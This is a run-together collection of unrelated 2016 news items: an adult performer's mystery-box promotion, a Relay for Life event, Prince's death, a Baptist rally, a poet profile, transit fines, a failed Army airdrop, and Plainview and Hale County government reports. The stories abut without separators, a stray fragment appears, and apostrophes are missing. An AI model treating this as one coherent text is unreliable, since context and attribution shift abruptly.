In Greek mythology, Pandora's Box contained all the evils in the world, and a little bit of hope. My mystery box will contain the same, but kinkier. From now to May 3, 2016, you can purchase Venus' Box: my personal compilation of evils and sins, Lux explained. The evils of Venus' Box will include an outfit or pair of shoes from one of my scenes, an autographed photo, and DVD, all selected by random. The hope? Ten lucky fans will receive a special limited-edition Venus Lux Lube (only 12 left in existence). Good luck, sinners!

This goody box goes for $75 and is now available for purchase here and here. For more information, see VenusLuxBlog.com.

Fans can follow Venus Lux on Twitter (@VenusLux), Facebook (TSVenusLux) and Instagram (VenusLux) or go to her website, Venus-Lux.com.
One of the most popular events to raise money for cancer research, Relay for Life, is planned for the beginning of May at Freedom High School.

The event is set for May 6 at 6 p.m. on the FHS track with the schools chorus performing at 5:15 p.m., said Nancy Roberts, volunteer and publicity chair for the Relay for Life in Burke County.

Relay for Life is the No. 1 fundraiser for the American Cancer Society, she said.

The way the money comes in is from people doing fundraisers up through Relay or even after that night and then only other money that comes in is what people end up doing there at the track, Roberts said.

Their financial goal is to raise $100,000, said Roberts.

It all started in 1985 by a doctor who lived in Tacoma, Washington, she said.

Dr. Klatt, who was a colorectal surgeon, decided that one person could make a difference and he just walked for 24 hours and that is how it all began, she said. The idea was that cancer never sleeps, so we werent going to sleep. We were always going to stay up and have one person from every team (walking) on the track for the next 24 hours.

As people walk around the track, there will be fundraisers set up to participate in, but for those who would rather not walk, they can bring a lawn chair, she said.

One of the most asked questions Roberts receives from people is why they participate in Relays and her answer is simple.

To remember our loved ones and to let those know who are suffering now that they have support, she said. And also to raise public awareness because a lot of people dont realize that there is help out there for them.

It is definitely not a sad event, but more of a celebration, she said.

It gives people a lot of hope and they find healing and comfort in just being able to share their story and having the support of others, she said.

This years Relay theme is Disney and there will be a costume parade for all ages at 8 p.m., she said.

We are hoping people will bring their kids and have them dressed up, Roberts said.

They will have various forms of entertainment throughout the night and food vendors will be setup near the track.

Some will be doing a fish fry and others will be doing barbecue and there will be a silent auction, Roberts said. They will probably be doing face painting and different things like that for kids.

A lap dedicated to cancer survivors will be at 6:15 p.m. with a survivor dinner to follow afterward, she said.

Survivors who wish to participate in the dinner need to sign up by April 29 by calling 828-580-7954.

Luminaries will be available for people to purchase in honor or in memory of loved who fought or are fighting cancer.

All the proceeds will go toward Relay for Life and there is no cost to attend the event, she said.

For more information about Relay for Life, call Roberts at 828-413-9035.

Staff Writer Jonelle Bobak can be reached at jbobak@morganton.com or 828-432-8907.
CHANHASSEN, Minn. (AP)  Prince, one of the most inventive and influential musicians of modern times with hits including "Little Red Corvette," ''Let's Go Crazy" and "When Doves Cry," was found dead at his home on Thursday in suburban Minneapolis, according to his publicist. He was 57.

His publicist, Yvette Noel-Schure, told The Associated Press that the superstar "died at his home this morning at Paisley Park." The local sheriff said deputies found Prince unresponsive in an elevator late Thursday morning after being summoned to his home, but that first-responders couldn't revive him.

No details about what may have caused his death have been released. Prince postponed a concert in Atlanta on April 7, after falling ill with the flu, and he apologized to fans during a makeup concert last week.

President Barack Obama, for whom Prince was a White House guest last year, said he and his wife "joined millions of fans from around the world" in mourning Prince's sudden death.

"Few artists have influenced the sound and trajectory of popular music more distinctly, or touched quite so many people with their talent," Obama said in a statement. " 'A strong spirit transcends rules,' Prince once said  and nobody's spirit was stronger, bolder, or more creative."

The dazzlingly talented and charismatic singer, songwriter, arranger and instrumentalist drew upon musicians ranging from James Brown to Jimi Hendrix to the Beatles, creating a gender- and genre-defying blend of rock, funk and soul.

He broke through in the late 1970s with the hits "Why You Wanna Treat Me So Bad?" and "I Wanna Be Your Lover," and soared over the following decade with such albums as "1999" and "Purple Rain." The title song from "1999," his funky and flippant anthem about an oncoming nuclear holocaust, includes one of the most quoted refrains of popular culture: "Tonight I'm gonna party like it's 1999."

The Minneapolis native, born Prince Rogers Nelson, stood just 5 feet, 2 inches  yet he made a powerful visual impact at the dawn of MTV. Prince was a Little Richard for the '80s, from his wispy moustache and tall pompadour to his colorful and suggestive outfits, the counterpart to the openly erotic lyrics that made him one of the most sexually daring artists of the era.

But his greatest legacy was as a musician, summoning original and compelling sounds at will, whether playing guitar in a flamboyant style that drew on Jimi Hendrix, switching his vocals from a nasally scream to an erotic falsetto, or turning out album after album of stunningly innovative material. Among his other notable releases: "Sign O' the Times," ''Graffiti Bridge" and "The Black Album."

Rarely lacking in confidence, he effortlessly absorbed the music of others and made it sound like Prince, whether the James Brown guitar riff on "Kiss" or the Beatle-esque, psychedelic pop of "Raspberry Beret."

Mick Jagger was among numerous musicians, actors and other public figures praising the artist, tweeting: "Prince's talent was limitless. He was one of the most unique and talented artists of the last 30 years." Madonna called him a "true visionary," while Oprah Winfrey tweeted: "Prince the doves really are crying now. Listening to your music. Remembering you."

Prince was fiercely protective of his independence, battling his record company over control of his material and even his name. Anxious to get out of his contract with Warner Bros., he identified himself by a key-like symbol with an unpronounceable name. (Journalists called him "TAFKAP," or The Artist Formerly Known as Prince). Prince also once wrote "slave" on his face in protest of not owning his work and famously fought and then departed Warner, before returning a few years ago.

"What's happening now is the position that I've always wanted to be in," Prince told The Associated Press in 2014. "I was just trying to get here."

Prince's records sold more than 100 million copies. He won seven Grammys and received an Academy Award in 1985 for his music from "Purple Rain," the movie in which he starred as a young musician. In 2004, Prince was inducted into the Rock and Roll Hall of Fame, which hailed him as a musical and social trailblazer.

"He rewrote the rulebook, forging a synthesis of black funk and white rock that served as a blueprint for cutting-edge music in the Eighties," reads the Hall's dedication. "Prince made dance music that rocked and rock music that had a bristling, funky backbone. From the beginning, Prince and his music were androgynous, sly, sexy and provocative."

Music was in his blood. Prince's father played in a jazz band in Minneapolis, under the name "Prince Rogers," and his mother was the singer. The precocious young Prince taught himself to play the piano at age 7, the guitar at 13 and the drums at 14. But his home life was also troubled. His parents separated when he was 10, and Prince, who ended up with six siblings and half siblings, moved back and forth between the homes of his mother and father.

In 1978, the year he turned 20, Prince debuted with the album "For You." It was a declaration, if nothing else, that he could do anything: He wrote and sang the material, and served as his own one-man band on guitar, bass, drums, synthesizers, chimes and assorted other instruments.

The album received mixed reviews, but his second album  called "Prince"  sold more than a million copies and launched his run of hit albums and singles over the next few years.

Prince became not just a star in his own right, but a veritable music factory, whether with such side projects as Vanity and Morris Day and The Time or the songs he wrote for others. Sinead O'Connor had a hit with "Nothing Compares 2 U," while other covers included Cyndi Lauper's "When You Were Mine" and the Bangles' "Manic Monday."

Prince's influence even extended to politics, well before Obama's time. In the mid-1980s, Tipper Gore, wife of then-Sen. Al Gore of Tennessee, heard one of her daughters listening to Prince's "Darling Nikki." Horrified by the song's reference to masturbation, she helped launch an organization dedicated to a labeling system for explicit content, the Parents Music Resource Center. A nationwide debate about censorship soon followed, including congressional testimony from Frank Zappa among others, and the refusal by some record sellers to offer releases deemed in need of advisories.

Prince had been touring and recording right up until his death, releasing four albums in the last 18 months, including two on the Tidal streaming service last year. He performed in Atlanta last week as part of his "Piano and a Microphone" tour, a stripped-down show that featured a mix of his hits, like "Purple Rain" or "Little Red Corvette," and some B-sides from his extensive library.

Prince debuted the intimate format at his Paisley Park studios in January, treating fans to a performance that was personal and both playful and emotional at times.

The musician seemed to be shedding his reclusive reputation. He hosted several late-night jam sessions where he serenaded Madonna, celebrated the Minnesota Lynx's WNBA championship and showcased his latest protege, singer Judith Hill.

Ever surprising, he announced on stage in New York City last month that he was writing his memoir, "The Beautiful Ones," which was expected to be released in the fall of 2017 by publishing house Spiegel & Grau. A press release about the memoir said Prince would "take readers on an unconventional and poetic journey through his life and creative work," and include stories about his music, family and the "people, places and ideas that fired his creative imagination."

A spokeswoman for Spiegel & Grau, Theresa Zoro, said Thursday the publisher had no immediate comment the status of the book.

About 200 fans had gathered by Thursday afternoon outside Paisley Park, Prince's home and music studio, where his gold records are on the walls and the purple motorcycle he rode in his 1984 breakout movie, "Purple Rain," is on display. The sprawling white, stone building is surrounded by a fence in Chanhassen, about 20 miles southwest of Minneapolis.

Steven Scott, 32, of Eden Prairie, said he was at Paisley Park last Saturday for Prince's dance party. He called Prince "a beautiful person" whose message was that people should love one another.

"He brought people together for the right reasons," Scott said.
The Catawba River Baptist Association invites the community to come and be inspired by a message of revival and renewal from Dr. Paige Patterson, whom they have asked to speak at an evangelistic rally April 29 at 7 p.m. at Mount Home Baptist Church. The event is free and open to the public.

Patterson is the president of the Southwestern Baptist Theological Seminary in Texas, which association director Billy Cooper described as the largest seminary in the world. Cooper said he asked Patterson to present the rally because he sees a serious need for spiritual renewal both locally and nationwide.

Were in a spiritual and moral crisis here in our country right now, and we need to speak to that as an association, Cooper said. We want to have Dr. Patterson come in and speak to us as a people about exactly where we need to be with the Lord. Hes one of the great preachers of this country.

Patterson earned a masters degree in theology and a Doctor of Philosophy from New Orleans Baptist Theological Seminary, according to his biography. He was elected to two terms as president of the Southern Baptist Convention in 1998 and 1999, has authored several books and articles, and has ministered in more than 125 countries around the world.

Patterson is the former president of the Southeastern Baptist Theological Seminary in Wake Forest, North Carolina. He said he spent a total of 11 years in the state, and looks forward to opportunities to return.

I developed a deep love for North Carolina, so any time I get an invitation to speak there, I try to take it, Patterson said.

Patterson said his message focusing on church revitalization will come straight out of the Bible.

Im going to address churches that have plateaued or are declining, and speak about bringing new life to them, Patterson said.

He agreed with Cooper in the need for a renewal of spirit.

People get discouraged  in life in general, and also in church life, Patterson said. There are a thousand things that can happen. Members start fighting, or the pastor leaves, or someone has an affair. Part of a preachers responsibility is to help people overcome discouragement. Im going to give perspective to people so they realize their discouragement is not as great as they thought.

Mount Home Baptist Pastor the Rev. Jerry Gamble said he is looking forward to Pattersons visit.

Im as excited as I can be, Gamble said. I have known Dr. Patterson for 25 years and have great respect for him. He has been a great leader in our Southern Baptist Convention and is doing a fantastic job at the seminary. I believe he will challenge our people as they have never been challenged before.

Gamble said in addition to Patterson, the rally will feature a choir made up of nearly 100 church members within the association performing.

Patterson encouraged those in the community to come to the rally.

If you want to have a fun night, laugh a lot and think deeply about your soul, then this is the place to come, Patterson said.

For more information on the rally, call the CRBA at 828-437-0137 or visit www.crbanc.org.

Tammie Gercken can be contacted at tgercken@morganton.com.
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Local hula group inspires global connections When the pandemic ushered everyone indoors, Moorpark resident and longtime dancer Lisa Rauschenberger decided to get people back outsidesocially distanced, of course. She began to hold weekly hula lessons at...

Teens face high stakes in the Oval Office A press room befitting Americas commander in chief was set up inside the Reagan Library in Simi Valley. Journalists and others gathered inside. Ladies and gentlemen, I need you all...

Tigers soon to prowl in new enclosure The brand-new Bengal tiger exhibit at Americas Teaching Zoo at Moorpark College is nearly complete, and some other animals hangouts are getting a makeover, too. Mara Rodriguez, zoo development coordinator,...
After leaving the University of Texas in Austin in 2002, Tarfia Faizullah was only concerned about each day. She became nomadic and found homes in radically different living spaces, including Austin, Alabama, London and back to her hometown of Midland. She worked odd jobs that she hoped would clarify her purpose. She chose to contradict what made sense: finish her degree and move on to law school. Instead, she carved out a puzzle-piece life trying to follow her path as she saw best.

The whole time I was like, Maybe Ill do this, and maybe Ill do that, but I didnt really know, Faizullah said. I was always looking for the next correct door, and sometimes that meant doing all sorts of things. Each step wasnt necessarily pre-planned to get to a goal, but I was trying to move forward as honestly as possible, day-to-day.

Those sorts of things included penning poetry without the intent of being recognized as a writer. That became her routine among the uncertainty of her free-flowing life. The cathartic habit allowed Faizullah to grasp herself, to lay out her feelings with precision and specificity, in a measure to further uncover and realize who exactly she was.

I had always written from pretty young age, maybe 5 or 6, Faizullah said. I wrote short stories and poetry. Poetry was always the way it would come out. I wrote a poem about my mother being my best friend, and, Ill love her til the end. Some of the early stuff was pretty rhymey and mostly about observations. In my teenage years, I wrote dark and angsty stuff, and I was trying to work out some of the categories imposed on me or that I was imposing on myself. It was always an attempt to understand and make sense of the confusion of who I was. What does it mean to be a person?

Fast forward to 2016, and Faizullah can be found in Detroit at the University of Michigan where she molds aspiring writers as a visiting creative writing professor. Her 2014 book, Seam, garnered awards and positive reviews. Seam also led to her being selected as one of the 2016 honorees for the third annual Harvard Law International Womens Day Portrait Exhibit that was on display in February and March.

Faizullah has had her works published in American Poetry Review, Poetry Daily and other similar magazines. But before the 36 year-old was an award-winning author and professor, she was a Midlander.

The imagery of West Texas

Faizullahs parents, originally from Bangladesh, moved to Midland from Brooklyn, New York, in 1983. She was three-years old when the family moved here, where she remained until leaving for Austin in 1998.

Ill always remember the pumpjacks and the long expanses between Midland and Odessa, Faizullah said. The smell of oil and petroleum and the tumbleweeds. The things that always come to mind is the landscape.

For all her years in West Texas, Faizullah was enthralled by words. With parents who outwardly celebrated Bangladeshi traditions like music and poetry, the naturally impressionable child gravitated toward her own artistic expression. The flames were further stoked while attending Trinity School, where she started a poetry corner, a place where students could post original work.

For inspiration, she was largely fueled by the city surrounding her.

I dont think Midland is what it seems like to people outside of Midland, Faizullah said. Theres a huge diversity of the experience people can have in Midland. I feel like I went to school with a lot of different people who saw the world in different ways.

With a subtle imagery under the obvious, Faizullahs observations bloomed. She would sit in the corner of a coffee shop or the library to watch and scribble on her pad. This became what she calls her writing, as opposed to the physical action of typing on a keyboard or putting pen to paper, which she labels as drafting.

My process is more like being out in the world, or living, which means paying attention to the world around me and absorbing what I can when I see it, Faizullah said. Writing is a world view, and its something that I practice by looking at the world and cultivating that way of looking. Ideally, its what Im doing all the time, unless Im playing video games or reading comics.

Goals and Seam

In 2006, Faizullah finished her undergraduate degree from UT and had aspirations of applying to graduate school, which would enable her to spend three years stretching her mind and abilities as a writer. She did not get accepted.

When I didnt get into graduate school, I had to ask myself if I was wrong about this, Faizullah said. But I really wanted to try again. I was just trying to figure out how to do it. I wasnt thinking about what I was going to be, but I was thinking ahead to what I could do. For me, the idea of three years to focus on writing was so huge for me.

The next year she was accepted into Virginia Commonwealth University, where she earned her Masters of Fine Arts with a focus on poetry. In 2010, she was awarded a Fulbright scholarship. This allowed her to travel to Bangladesh to interview women raped by Pakistani soldiers during the Liberation War of 1971. Her interest in the subject began at a poetry panel she attended at UT.

I attended a poetry panel in 2006 featuring Mahmud Rahman, Faizullah said. He read an excerpt of a novel titled Talaash, by Shaheen Akhtar. The book is about Bangladeshi women who had been raped and forced into slavery by the Pakistani army. It made me realize how little I knew about the war, even though a number of people in my family lived through it. When I got the Fulbright, I realized, I have to do this.

Living in Bangladesh, she was free to go about forming her poems. She interviewed numerous subjects whose stories of tragedy and turmoil inspired her first book of poems, Seam.

But there is far more poetry here  which is to say, far more of our living language pulled into shape by hunger and intelligence, the appetite for sound and saying rooting into the dark earth and blooming there, Slates Jonathan Farmer wrote reviewing Seam.

Despite positive reviews, Faizullah didnt know how to feel about the collection.

On one hand, I wanted to write a book to the best of my ability that did some justice to what happened to these women, while knowing that was impossible because theres nothing that could provide justice to these people, Faizullah said. I think Seam is one point of view that tries to be as broad as possible, but its still one point of view. I have no illusion of that work changing the lives of the women it happened to. Theres no real thing that captures human sufferings, but we make art as an attempt to try and document and understand whats happening to us as people.

Living in the now, looking at the future

Faizullah is still trying to better understand where she fits in the world, a theme that is identifiable in her work and constantly provides motivation for her future endeavors.

(In some of her poems), shes figuring out her own way to connect with the world, with her grief, somewhere in between her family traditions and the larger, geographical place, said Brendan Egan, a Midland College English professor.

She is currently working on her second book, Register of Illuminated Villages, expected to come out in 2018. She helps run the poetry publishing press Organic Weapon Arts. Faizullahs unorthodox journey has taken her far from her days in Midland.

Its an interesting life, Faizullah said. I feel more encouraged to be who and what I want to be, no matter what it is. Ive had a number of good things happen to me, not just winning awards, but finding myself in these spaces where people are gathering to find out what is possible. I feel affirmed, because following my path paid off in the end. A.A. Milne once said, Rivers know this: there is no hurry. We shall get there someday.

For more about Tarfia Faizullah and her work, visit tfaizullah.com. Follow Trent Johnson on Twitter.
Woody Marshall

NEW YORK (AP)  The choice to replace Andrew Jackson with Harriet Tubman on the $20 bill is being praised for its symbolism. Many say it's a powerful change that a slave-owning president who forced Native Americans from their lands is being succeeded by an African-American abolitionist who risked her life to free others.

It comes on the heels of other, often emotional debates about the symbols we choose to honor, like the one over removing the Confederate flag and statues from public life in many places in the South.
San Francisco Introduces $100 Fine For Manspreading And Seat Hogging

Trending News: Manspreading Can Now Earn You A $100 Fine

Why Is This Important?

Because getting comfy on the subway will cost you.

Long Story Short

Seat hogs and manspreaders can now be dinged with a $100 fine if they take up more than one seat on public transit in San Francisco. Los Angeles is also considering beefing up its "one ticket, one seat" policy.

Long Story

Manspreading might make you more attractive, but it won't get you any brownie points on the subway in two of California's major cities.

Reuters reports that San Francisco passed a law cracking down on people who take up more than one seat on the Bay Area Rapid Transit (BART) network. Riders who  after a warning  continue to take up another seat with their backpack, arms, or legs in what has become known as man spreading, will be fined $100.

For an education on what not to do and to see some cringe-worthy public transit fouls, check out SeatHogs.com, which captures the culprits in action.

The Bay Area Rapid Transit Agency passed the "one ticket, one seat" rule last week and Los Angeles, who already has a rule that charges $75 for inflating their personal space, is looking to make their rules more strict, reports Reuters.

Transit agencies have been trying to stop people from manspreading (which could also be done by women) to free up space on congested buses and subways. In New York, there's been some manspreading arrests by the NYPD, and many agencies have tried to change people's behavior through marketing with ads like "Two seats? Really?" and "Dude ... Stop The Spread. Please."

The New York Transit Museum Gallery is currently featuring some transit etiquette ads from countries around the world that demonstrate the problem isn't just in America.

Considering that to be fined for manspreading you need to be warned first, there's really no reason why you should be charged unless you feel like being a total a-hole. But before it comes to that, it's probably best to sit with your knees together or legs crossed. Save the attractive manspeading poses for your Tinder profile.

Own The Conversation

Ask The Big Question

Are fines too harsh?

Disrupt Your Feed

Needing extra room to let your junk breathe probably won't work as an excuse.

Drop This Fact

The Los Angeles region, ranks worst in the country for traffic, according to tracking firm INRIX.
3 US Army Humvees Plummet From The Sky And Explode

Trending News: Watch These Humvees Fall From The Sky And Get Completely Demolished

Why Is This Important?

Because this could not have been the plan.

Long Story Short

A U.S. Army parachute training mission went amazingly wrong when not one, not two, but three Humvees plummeted to the ground and exploded in a cloud of smoke near Hohenfels military base in Germany. The fiasco was caught on video by what is believed to be a group of soldiers.

Long Story

The U.S. Army is trying to find out what went wrong when three Humvees (the military version of a Hummer) free-fell from the sky during a U.S. Army training exercise in Germany.

Army spokesman Major Juan Martinez told Army Times that about 150 supply bundles, vehicles, communications equipment and indirect weapons systems were dropped as part of the airborne mission, but three Humvees, which can cost about $220,000 each, slipped from their rigs and plummeted to the ground.

A group of lads, likely to be soldiers, caught the training mission on video and laughed hysterically as they witnessed each Humvee fall from the sky and get absolutely demolished. The video has been shared by U.S. Army W.T.F! moments and has nearly a million and a half views.

Pics of the Humvees after the fall were posted on Twitter. Just a couple dings.

Martinez said in an email to Army Times that the government is taking the failed mission seriously and will give the investigation "the highest priority."

As for the chuckling lads who shot the video  they may have gotten away with it. Martinez reportedly said the Army doesn't know who shot the video and hasn't decided on disciplinary action if they find out who did.

Own The Conversation

Ask The Big Question

Did the guys who shot the video play any part in causing the Humvees to drop?

Disrupt Your Feed

This is our taxpayer dollars at work.

Drop This Fact

The mission was part of Saber Junction 16, an exercise involving 5,000 soldiers and in conjunction with 16 allied European partners nations.
Someone should sue the President for ...
Sacramento, CA  Governor Jerry Browns desk now has six bills on it seeking to further restrict tobacco use, especially among young adults.

Democratic leaders in the State Legislature invoked house rules and held back the bill package for well over a month in an effort to foil a referendum threatened by the tobacco industry. If signed by Gov. Brown, the bills will effectively raise the smoking, dipping, chewing and vaping tobacco age in California from 18 to 21 as well as ban electronic cigarettes in restaurants, theaters and other public places where smoking is prohibited.

The Governor, who has yet to comment on his plans to sign the new laws, now has 12 days to approve, veto or send them back to state lawmakers. Opponents against the more restrictive tobacco laws seeking to bring the matter to voters in November would need to collect 366,000 valid signatures within three months of Brown signing the legislation.
Hale Countys two major social service departments, Indigent Care and Veterans Service, received praise after giving their quarterly activity reports on Friday - for two very different reasons.

Debra Lambright, Indigent Health Department director, went first and earned praises for cutting both her client load and expenditures in half since being appointed three years ago. Moments later, County Veterans Service Officer Karla Glowicki received accolades for the phenomenal growth her office has shown since it was reactivated last May after being idle for several years.

County commissioners and several department heads at Fridays work session also commented favorably on the close working relationship shared by Lambright and Glowicki, and how the two offices have worked together to better serve veterans and other residents of Hale and surrounding counties.

Im proud of what Karla (Glowicki) has been able to do for our veterans during the past year, commented County Treasurer Ida Tyler, and Im really glad that the commissioners selected her. It has been a really good decision.

Lambright added that Glowicki has a special knack for working with particularly difficult clients, many of whom are suffering from distress disorders. Ive seen them come in very hostile, Lambright said, and by the time they leave, a few were even whistling.

Glowicki was hired on a 20 hour-per-week schedule, and is in her office normally Tuesdays and Thursdays. She also participates in numerous veteran health fairs and other targeted sessions, and carries a bag filled with office-related forms at all times. She told commissioners of a recent Saturday morning trip to McDonalds for breakfast. I didnt have time to order my sausage and biscuit before someone saw me, and I ended up staying for two hours helping veterans.

At their regular session Monday, commissioners will consider a request to increase Glowickis schedule to 30 hours per week.

Glowicki told commissioners that during the first three months of 2016, she saw 330 veterans, veterans spouses and family members. Thats almost double the 180 clients she had the previous quarter. Hale County accounted for 307, followed by nine from Castro, five from Randall, four from Lubbock, three from Floyd and one each from Hockley and Swisher. New clients numbered 134 while 160 were return clients.

Since going to work less than a year ago, Glowicki has successfully completed training and most other requirements for the office to be fully accredited and should soon complete that process.

In the meantime, Lambright reported handling an average of 45 clients during the first three months of 2016. Thats down from an average monthly client load of 110 when she started. Expenditures during the first three months were $58,645, down from $103,283 during the first quarter in 2013.

Lambright listed first-quarter expenses as: Welfare assistance, $100 to one veteran to help with a rent payment; Indigent cremation, one in January costing $700; Medical services, $58,645.

Among active clients, Lambright reports that 12 are seeking Social Security income or disability benefits, five are seeking employment, five are working but still qualify for assistance under income guidelines, 20 are disabled with medical certification indicating that they are unable to look for work, and six are undocumented.

Denied clients included six who did not respond to requests for eligibility documentation, two moved from the county, one acquired insurance coverage, one found employment and three are now receiving Social Security disability payments.

County AgriLife Extension Agents Jason Miller and Cassidy Peek reviewed current activities, noting that county 4-H members will be receiving more than $100,000 in livestock show premiums and scholarships following contests at Houston, San Antonio and Fort Worth. Our youth have achieved at a high level with both their judging contests and livestock exhibits, Miller said. New youth programs this year include robotics, Leaders for Life and archery.

Miller reported that Hale County will see an increase in planted acres of cotton, and decreased in grain sorghum and corn. The local AgriLife Extension office recently hosted its annual crops conference, with 98 registrants, along with a regional sorghum conference.

Mike Fox, executive director of the Plainview/Hale County Economic Development Corp., on Friday presented his quarterly activity report. He gave the same report to Plainview City Council members at Thursdays work session.

On Monday, commissioners are expected to take action on:

--Selecting a pest-control contractor for regular treatments at the courthouse and annex

--Reviewing the Hale Center EMS run report for March

--Accepting NextEras application for tax abatement

--Verifying TxDOTs county road inventory

--Purchasing a maintainer for Precinct 1

--Reviewing bids on chip sealing the parking lots at Ollie Liner Center and the Justice Building

--Authorizing a water line be placed under County Road Y near the BNSF Logistics wind energy distribution center

--Signing a resolution designating May 2-6 as Juror Appreciation Week

--Authorizing security system repairs at the Justice Center

--Reviewing a proposal to install as caged roof access ladder at the Justice Center

--Authorizing Precinct 3 Constable Terry Timms to have a reserve constable.

Mondays meeting begins at 9 a.m. in the Hale County Courthouse, 500 Broadway, and is open to the public.
A renewed sense of cooperation in recent years between the City of Plainview, Hale County and Plainview/Hale County Economic Development Corporation is starting to show big dividends, as evidenced by a declining unemployment rate and soaring sales tax numbers.

Mike Fox, PHCEDC executive director, has been quick to point out this important three-way partnership in quarterly reports this past week to the Plainview City Council and Hale County Commissioners Court.

This is a good time to look back at how far weve come since Cargills closure in January 2013, and to celebrate whats happened in just the past year, Fox told commissioners at Fridays work session.

He recalled that ground was broken in March 2015 for the Transportation Technology Services distribution center along a railroad siding in east Plainview. They started with just 10 acres, and since then TTS has been acquired by BNSF Logistics, theyre up to 95 acres and are now looking for more.

The local wind energy distribution hub in 12 short months has grown to become what is likely the largest facility of its type in the nation. Fox adds that just from General Electric, the local center has orders in 2016 for 5,000 railway car loads of wind turbine components. That translates into approximately 8,000 semi-truck loads going out of the Plainview facility.

Those figures are for one single company - GE - and does not take into account other wind turbine manufacturers, Fox said. And thats without any wind projects under construction in Hale County. Just wait until things start popping around here and see how much more will be coming through this facility.

The booming wind energy sector along with construction and roofing repairs are helping drive the impressive 10 percent growth in sales tax revenues, Fox admits, with third-party vendors having a major role in the increase. This is a specific example were we we can look back and see growth in just the past year, and its something that we can all celebrate.

But thats not the whole story when you look at the improvement in unemployment in the past three years, and particularly the past 12 months. In the months after Cargills closure, the local jobless rate peaked at 16.1 percent. Just a year ago, it was 6.8 percent and now its 5.6 percent, Fox pointed out, well below the 6.5 percent posted in the month prior to Cargills closure. All the economic indicators show that we are moving in the right direction, Fox said.

While most industrial prospects are taking a wait and see position until after the November elections, Fox reports that he is now working with six active prospects.

The Plainview/Hale County Economic Development Corporation celebrates its 50th anniversary this year, having been founded in 1966. Fox perhaps said it best, Were in a 500-mile race against at least 800 communities just in Texas alone which have tax-supported industrial development programs. We started out behind the curve, but we are doing the right things to catch up and were getting there.

The longevity and past successes of the PHCEDC speak well for its staying power, and the growing spirit of cooperation shown in the development of Plainviews new industrial park speaks loudly toward its future success.
Plainview/Hale County Economic Development Corp. Executive Director Mike Fox said a decision has been made that will take economic development in the area to a whole new level.

"We are putting in the missing tools we need," Fox said Thursday as he announced the PHCEDC Board's decision to hire a consultant, Site Location Partnership, that will provide economic development services to assists the PHCEDC efforts of attracting new industry, investments and jobs.

Fox made the announcement during Thursday's City Council work session.

In brief, Fox said SLP will work not only to market Plainview, but get the city in front of company heads looking for a new home.

Using data from a previous Target Industry Study, SLP has already designated five industry categories that could fit Hale County perfectly. The sectors are: Food Processing and Agribusiness; Precision Metalworking and Fabrication; Alternative Energy, Specialized Warehouse and Distribution and Aerospace, considering Hale County's strong airport.

Currently, SLP has toured the area and is gathering research, analysis and determining 1,500 target companies that would be the best fit for Hale County.

Fox said along with building leads, SLP will actually get PHCEDC representatives in front of the decision makers as they try to attract new business and industry.

SLP will also represent PHCEDC at six major trade shows across the country and will aggressively boost the EDC's marketing plans as well as its online and multi-media presence.

Fox's announcement was part of his quarterly report presented to the Plainview City Council.

Leading with the current economic indicators, Fox reported that unemployment rates are still down from last year. Currently, Plainview has an unemployment rate of 5.6 percent compared to last year's 6.8 percent.

In his first quarterly report of the fiscal year, Fox reported the PHCEDC's activities since January.

Fox said since January he's had six active prospects looking at existing commercial buildings or analyzing sites for new construction.

Also in January, Fox reported that he, Plainview City Manager Jeffery Snyder and EDC consultant Gary Lawrence met with South Plains College President Kevin Sharp on how they could make the community more "workforce ready."

This will include a questionnaire from PHCEDC to gauge the needs of local industries when it comes to workforce development and education.

In February, Fox said he attended the World Agriculture Expo in Tulare, Calif.

Working with the High Ground of Texas exhibit, Fox said he generated 18 new leads who have all been sent information on Plainview and Hale County.

Fox also attended the AWEA Wind Project O&M and Safety Conference in San Diego, Calif. The High Ground of Texas booth was able to generate eight new leads as well.

In March, Fox and Snyder took a recruiting trip to Chicago in hopes of bringing in a new industry. Also a prospect toured the Cargill Plant and the Jimmy Dean building.

Other highlights in the report include the PHCEDC receiving the 2015 Top-5 Award of Excellence for Food Processing and Agribusiness from Expansion Solutions.

The award will be a major advertisement for many Fortune 500 companies who read the publication.
Plainview's City Council will have some significant grant decisions to make Tuesday night when they meet in their upcoming regular session.

There were some hot topics during Thursday's work session. The council had thorough discussions on grant possibilities for the reconstruction of 24th Street and a grant that will pay for body cameras for Plainview police officers.

The first will be a resolution to file a grant for funds with the Transportation Investment Generating Economic Recovery (TIGER) Discretionary Grants Program. The grant will fund a 24th Street Reconstruction project.

"Staff is proposing to submit an application for the proposed 24th Street Reconstruction project that has been identified as a priority in the City's Comprehensive Plan," said Plainview City Manager Jeffery Snyder.

Snyder said CMG Engineers performed a geotechnical investigation on the base for 24th Street to determine what options would be available to the City to reconstruct the road.

With this information, Parkhill, Smith and Cooper prepared an option that would include a Full-Depth Reclaimed (FDR) of pavement, a process which salvages the existing materials, strengthens it with cement and is overlaid with a new asphalt surface.

This would keep the same current pavement width with a four-lane road.

In addition, there would be a 4-foot sidewalk on the south side of the road and a 7-foot sidewalk on the north side of the road to accommodate pedestrian and bicycle traffic.

"Staff is proposing to submit a TIGER application for the option for a full-depth reclaimed pavement to include the sidewalks and the replacement of traffic signals and streets lights," Snyder said.

The area included in this project is from Columbia Street to the Dimmitt Highway (State Highway 194). Total project cost is estimated at $4,886,104.

Though it is the beginning of the grant process, the council discussed other options in the reconstruction which included using cement to build the road the entire length of the project or just laying concrete on the heavy traffic intersections of 24th Street, including Joliet and Quincy streets.

The council will vote on the resolution Tuesday.

Another resolution on Tuesday will be to file a grant application with the Criminal Justice Division of the Texas Governor's Office. The grant will fund new body cameras to be worn by Plainview police officers.

Plainview police chief Ken Coughlin said the entire department was in support of wearing the cameras, as it offered protection to not only citizens, but to officers.

The preliminary grant would allocate $24,711 to the department for the cameras.

The City would match 25 percent of the cost, a total of $6,177.75.

Coughlin suggested purchasing L3 cameras because they would be the same brand as cameras used in patrol vehicles. The cost of the L3 models are estimated at $32,948.

To fund the remaining cost, Coughlin suggested using police "Seized" funds account. The extra cost and the match would total $8,237.

The body cameras are not a requirement in the state of Texas. But Tulia, Hale Center, Abernathy, Lubbock and Amarillo have all instituted the cameras.

A possible downside of the cameras may be the storage requirement. Each video will have to be stored for a minimum of 190 days. Extra hours and labor will be needed to manage the storage as well as manage any requests for the videos, which will be public record.

Coughlin said several requirements will be needed to get a video at public request. These would include knowing the time, location and individuals involved in the video. Each video also will need to be protected to ensure any confidential and private information is not leaked to the public. This is considered a crime.

Council member Larry Williams questioned if the additional cost of managing the video and storage would outweigh the benefits.

Council member Charles Starnes liked the idea of body cameras, but suggested that the police department just purchase the cameras with the "Seizure" fund, which has a little more than $50,000.

Starnes said this would keep the City from using the grant money, which he considered taxpayer money. The grant money would also have strings attached.

